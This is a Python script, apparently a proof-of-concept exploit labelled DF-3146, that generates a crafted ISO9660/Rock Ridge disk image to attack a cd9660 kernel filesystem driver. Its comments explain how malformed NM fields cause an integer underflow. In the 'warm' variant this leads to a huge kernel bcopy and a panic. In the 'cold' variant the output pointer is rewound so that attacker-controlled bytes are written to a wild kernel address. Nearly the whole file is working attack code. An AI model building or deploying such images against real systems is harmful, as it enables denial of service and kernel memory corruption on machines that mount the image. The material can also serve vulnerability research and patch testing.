#!/usr/bin/env python3
# DF-3146 -- crafted RRIP/ISO9660 image generator.
#
# Root directory extent carries "." / ".." dirrecs with SP+ER+PX SUSP fields so
# the image mounts as ISO_FTYPE_RRIP (cd9660_vfsops.c:464-485 -> rrip_offset),
# plus one crafted trigger entry per requested variant:
#
#   warm : NM(len=5+k, payload k) followed by NM(len=4).
#          2nd NM: wlen = 4-5 = -1 (cd9660_rrip.c:258), *outlen = k-1 <= 255,
#          -> bcopy(in, out, (size_t)-1)  (cd9660_rrip.c:276)  => instant
#             kernel copy of 2^64-1 bytes -> page fault panic.
#
#   coldN: [NM(len=4) + 4-byte filler] * N followed by NM(len=5+k, payload).
#          Each len-4 NM: *outlen = 0-1 wraps u_short to 65535 > NAME_MAX ->
#          "treat as no name" branch: outbuf -= 65535-(-1) = 65536 exactly
#          (cd9660_rrip.c:268-271).  N such entries rewind the output pointer
#          N*64KB below idp->current.de.d_name; the final NM then bcopy()s
#          k fully attacker-controlled bytes to that wild address
#          (cd9660_rrip.c:276, reached from cd9660_vnops.c:542 readdir).
#
# The filler after each len-4 NM is required: altname reads the NM flags byte
# at field offset +4, which for a 4-byte field is the first byte *past* it;
# it must read 0x00 ("component") and the walk then lands on a benign
# non-dispatched pseudo-field (version byte != 1) before the next NM.
#
# Layout (2048-byte sectors):
#   16        PVD (root extent = 32, size = 2048)
#   17        Volume Descriptor Set Terminator
#   32        root directory extent: "." (SP+ER+PX), "..", trigger entry, "Z"
import struct, sys

BSZ = 2048
ROOT_EXT = 32
NSEC = 40

def b733(v):  # little-endian half of a both-endian 733 field
    return struct.pack('<I', v) + struct.pack('>I', v)

def b723(v):
    return struct.pack('<H', v) + struct.pack('>H', v)

def susp(sig, body):
    assert len(sig) == 2
    ln = 4 + len(body)
    assert ln <= 255
    return sig.encode() + bytes([ln, 1]) + body

def sp(skip=0):
    return susp('SP', bytes([0xBE, 0xEF, skip]))

def er():
    i = b'IEEE_P1282'
    return susp('ER', bytes([len(i), 0, 0, 1]) + i)

def px(mode=0o100644, links=1, uid=0, gid=0):
    return susp('PX', b733(mode) + b733(links) + b733(uid) + b733(gid))

def st():
    return susp('ST', b'')

def nm4():
    # NM entry with length exactly 4 (no flags byte inside the field).
    return b'NM' + bytes([4, 1])

def filler():
    # bytes after a len-4 NM: flags read = 0x00 (case "component");
    # then a pseudo-field with version != 1 that the walk skips over.
    return bytes([0x00, 4, 0x00, 0x00])

def nm_payload(data):
    assert 1 <= len(data) <= 250
    return susp('NM', bytes([0x00]) + data)

def dirrec(name, extent, size, flags, susp_area):
    assert 1 <= len(name) <= 8
    base = (bytes([34 + len(susp_area), 0]) + b733(extent) + b733(size) +
            bytes(7) + bytes([flags, 0, 0]) + b723(1) +
            bytes([len(name)]) + name)
    return base + susp_area

def build(variant, N, payload):
    img = bytearray(b'\x00' * (BSZ * NSEC))

    # ---- PVD at sector 16 ----
    pvd = bytearray(BSZ)
    pvd[0] = 1                      # type: Primary
    pvd[1:6] = b'CD001'
    pvd[6] = 1                      # version
    pvd[8:40] = b'DF3146 CRAFTED IMAGE'.ljust(32)
    pvd[40:72] = b'DF3146'.ljust(32)
    pvd[80:88] = b733(NSEC)         # volume space size
    pvd[120:124] = b723(1)          # volume set size
    pvd[124:128] = b723(1)          # volume sequence number
    pvd[128:132] = b723(BSZ)        # logical block size
    pvd[132:140] = b733(10)         # path table size (unused by the walker)
    root = (bytes([34, 0]) + b733(ROOT_EXT) + b733(BSZ) + bytes(7) +
            bytes([2, 0, 0]) + b723(1) + bytes([1, 0]))
    assert len(root) == 34
    pvd[156:190] = root             # root_directory_record
    pvd[881] = 1                    # file structure version
    img[16*BSZ:17*BSZ] = pvd

    # ---- terminator at 17 ----
    term = bytearray(BSZ)
    term[0] = 255
    term[1:6] = b'CD001'
    term[6] = 1
    img[17*BSZ:18*BSZ] = term

    # ---- root directory extent at 32 ----
    susp_dot = sp(0) + er() + px(0o040555, 1, 0, 0)
    dot = dirrec(b'\x00', ROOT_EXT, BSZ, 2, susp_dot)
    dotdot = dirrec(b'\x01', ROOT_EXT, BSZ, 2, susp_dot)

    if variant == 'warm':
        # nm4's flags byte is read one past the field: filler() starts with
        # 0x00 so altname takes the "component" case -> wlen = -1 while
        # *outlen = 16 -> bcopy(..., (size_t)-1)
        trig_susp = nm_payload(payload) + nm4() + filler() + px() + st()
        name = b'W'
    elif variant == 'cold':
        trig_susp = (nm4() + filler()) * N + nm_payload(payload) + px() + st()
        name = b'C'
        assert len(trig_susp) + 34 <= 255, "too many NM4 pairs for one dirrec"
    elif variant == 'none':
        trig_susp = px() + st()
        name = b'Z'
    else:
        raise SystemExit('bad variant')
    trig = dirrec(name, 36, BSZ, 0, trig_susp)

    zname = bytes([ord('Z') - 1]) if variant != 'none' else b'Z'
    z = dirrec(b'Y', 36, BSZ, 0, px() + st())

    blk = dot + dotdot + trig + z
    assert len(blk) <= BSZ, len(blk)
    img[ROOT_EXT*BSZ:ROOT_EXT*BSZ + len(blk)] = blk
    return bytes(img)

if __name__ == '__main__':
    variant = sys.argv[1] if len(sys.argv) > 1 else 'warm'
    N = int(sys.argv[2]) if len(sys.argv) > 2 else 1
    out = sys.argv[3] if len(sys.argv) > 3 else 'df3146.iso'
    payload = bytes(((0x41 + i) & 0xff) for i in range(16))
    open(out, 'wb').write(build(variant, N, payload))
    print(f'wrote {out}: variant={variant} N={N}')
